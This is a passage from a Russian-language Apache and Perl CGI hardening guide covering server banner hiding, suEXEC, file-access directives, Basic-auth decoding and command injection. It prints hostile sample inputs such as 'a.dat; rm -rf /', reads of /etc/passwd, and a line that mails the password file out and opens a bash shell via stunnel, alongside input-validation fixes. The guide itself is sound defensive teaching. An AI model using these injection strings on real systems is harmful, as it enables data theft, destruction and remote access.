Модуль ip_masq_ftp должен блокировать эту атаку.

74. Отправляемый сервером (Apache) заголовок позволяет получить ценную информацию.
user$ curl --head http://www.example.com | grep Server
Server: Apache/1.3.22 (Unix) (Red-Hat/Linux) mod_ssl/2.8.5 OpenSSL/0.9.6b DAV/1.0.2 PHP/4.0.6 mod_perl/1.26 mod_throttle/3.1.2

Проще всего изменить значение переменной ServerTokens конфигурационного файла httpd.conf. Она может принимать следующие значения.

Full — Отображать полную информацию о названии сервера и установленных модулях.
Min — Предоставить сведения только о названии сервера и установленных модулях.
ProductOnly — Выводит только имя сервера.

После добавления указанной строчки в файл httpd.conf
ServerTokens ProductOnly
После этого сервер на запрос выдаст
user$ curl --head http://www.example.org | grep Server
Server: Apache

Также можно перекомпилировать Apache и выдать его за совершенно другой продукт. Для этого необходимо отредактировать файл src/include/httpd.h (для версии 2.0 — файл include/ap_release.h).
#define SERVER_BASEPRODUCT "Apache"
#define SERVER_BASEREVISION "1.3.26"

на
#define SERVER_BASEPRODUCT "MeinKampf"
#define SERVER_BASEREVISION "0.0.1"

Найдите в файле os.h следующее:
#define PLATFORM "Unix"
И измените тип системы по своему желанию.

75. С помощью программы suEXEC (http://httpd.apache.org) каждый виртуальный сервер может быть настроен на выполнение CGI-программ этого сервера от имени «своего» пользователя (как правило, nobody). Если и будет найден уязвимый скрипт на одном из виртуальных серверов, максимальный ущерб будет нанесен только данному виртуальному серверу. Возможность поддержки suEXEC может быть задана при установке сервера Apache. Для этой цели необходимо добавить следующий параметр при выполнении сценария configure.
--enable suexec
Настройки поддержки suEXEC для виртуальных хостов отличаются для версий Apache 1.3.x и 2.0.x. Для версии Apache 1.3.x в директиве VirtualHost должны применяться директивы User и Group.

User secure_user
Group secure_group

2.0.x эти директивы заменяются одной директивой SuexexUserGroup.

SuexecUserGroup secure_user secure_group

76. В некоторых дистрибутивах включена директива, позволяющая определять назначение файла по расширению. Например, если будет вызов файла с расширением .cgi (при этом не важно скрипт ли это) он будет выполнен как скрипт. Чтобы убрать эту «замечательную» особенность, неоходимо удалить директиву
AddHandler cgi-script .cgi
Также необходимо настроить разрешение на выполнение скриптов только в одной директории. Разрешение выполнения всех файлов каталога cgi-bin в качестве программ осуществляется с помощью директивы ScriptAlias.
ScriptAlias /cgi-bin/ "/path/to/cgi-bin/"
77. Для ограничения доступа к файлам с определенным расширением или с заданной строкой символов в названии используются директивы Files и FilesMatch. При использовании первой требуется ввести символ тильды (~) для указания того, что текст в кавычках должен интерпретироваться как регулярное выражение. Например, запретим доступ к файлам, имена которых начинаются на «*.bak».

Order allow,deny
Deny from all

При использовании директивы тильда не нужна, и текст в кавычках рассматривается как регулярное выражение. Следующий пример демонстрирует запрещение доступа ко всем файлам с расширением .old.
<FilesMatch ".old$">
Order allow,deny
Deny from all

Когда обнаруживают «интересную» CGI-программу, обычно пытаются найти все вероятные копии этой программы, угадывая все возможные имена файлов (ak.old, *.bak.really.old, *~, #*). При запрещении доступа к таким файлам указанные действия злоумышленника протоколируются в файле журнала регистрации ошибок Web-сервера с помощбю подобных записей.
[Wed Dec 27 22:22:22 2004] [error] [client 222.222.22.22] client denited by server configuration: /usr/local/apache/cgi-bin/insert.cgi.bak
78. Согласно протоколу HTTP, аутентификационные данные пользователя зашифровываются по алгоритму base64 и отправляются в HTTP-запросе, например, так:
GET /protected/directory HTTP/1.0
Host: www.server.com
Authorization: Basic c2VjcmV0OklBbUdvZA==

Поскольку аутентификационная строка передается открытым текстом, то его можно расшифровать:
bad_guy$ perl -MMIME::Base64 -le
‘print decode_base64"c2VjcmV0OklBbUdvZA=="’
secret:IamGod

Результат этой команды выдается в формате name:password.

79. Имеем CGI-программу. Например, если программа использует системный вызов, открывает файл или запускает конвейер. Допустим, существует элемент на форме.
<input name="file" type="text" />
Представляет этим следующий код программы.
$file = $query->param('file');
system "ls $file";

Если в элемент управления ввести.
/tmp > /usr/local/apache/htdocs/index.html
Выполнение функции system() будет равнозначно выполнению следующего кода.
system "ls /tmp > /usr/local/apache/htdocs/index.html";
То есть главная страница сайта будет перезаписана информацией из каталога /tmp.
Например, есть программа для подсчета количества слов в имени файла.
$file = $query->param("file");
system "wc $file";

Если отправить следующую строку, которая будет передана в качестве значения для параметра file
a.dat; cat /etc/passwd
то будет выполнена команда
system "wc a.dat; cat /etc/passwd";
Или, предположим, что будут отправлены такие данные.
a.dat; rm -rf /
То есть будет выполнена команда.
system "wc a.dat; rm -rf /";
Для справки: выражение %3b
является эквивалентом символа ;
в шестнадцатеричной системе счисления — разделителя команд в командном интерпретаторе bourne. Допустим, для обработки введенного пользователем запроса вызывается утилита grep в форме
grep $name /web/private/people
Если указать в качестве переменной имени ($name) значение %2E%20%2Fetc%2Fpasswd%3b%2Fusr%2fbin%2fid%3bls%20%2Fweb%2Fprivate
, оно при отсутствии проверки на соответствующие вводимые символы преобразуется в
grep . /etc/passwd;/usr/bin/id; ls /web/private /web/private/people
Теперь рассмотрим Perl-код, который открывает файл, отправленный пользовательским запросом.
open FH, "$file" or die $!;
while ()
{
#обработка строки
}

Создатель этого кода ожидал, что пользователь введет имя файла, который находится в том же каталоге, что и CGI-программа. Если ввести в текстовое поле формы.
cat /etc/passwd |
То выполнение функции open() становится равнозначным выполнению команды
open FH, "cat /etc/passwd |"
А, например, строка
cat /etc/passwd | mail me@example.com ; stunnel -d 999 -l /bin/bash -- bash -i
позволяет отправить копию файла паролей и затем организовать «защищенное» SSL-соединение со своим хостом с помощью программы Stunnel.
Рассмотрим еще один фрагмент CGI-кода.
open FH, "/usr/local/apache/misc/$file" or die $!;
while ()
{
#обработка строки
}

В запросе можно послать следующую строку.
./etc/passwd
В результате выполнение функции open() будет аналогично запуску команды
open FH, "/usr/local/apache/misc/../../../../etc/passwd" or die $!;
Чтобы избежать такой уязвимости, надо проверять данные на наличие запрещенных метасимволов.
#проверим, что данные содержать только буквы, цифры, символы
#подчеркивания и точки
if ($file =~ /^([w.]+)$/)
{
#данные безопасны, поэтому для отключения режима недоверия
#используем переменную $1, которая хранит копию значения
#переменной $file
$file = $1

#обработка переменной $file
}
else
{
#присутствуют опасные символы, поэтому выдать сообщение об ошибке
#и прекратить выполнение программы
}

Показать больше

Статьи на близкие темы

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Закрыть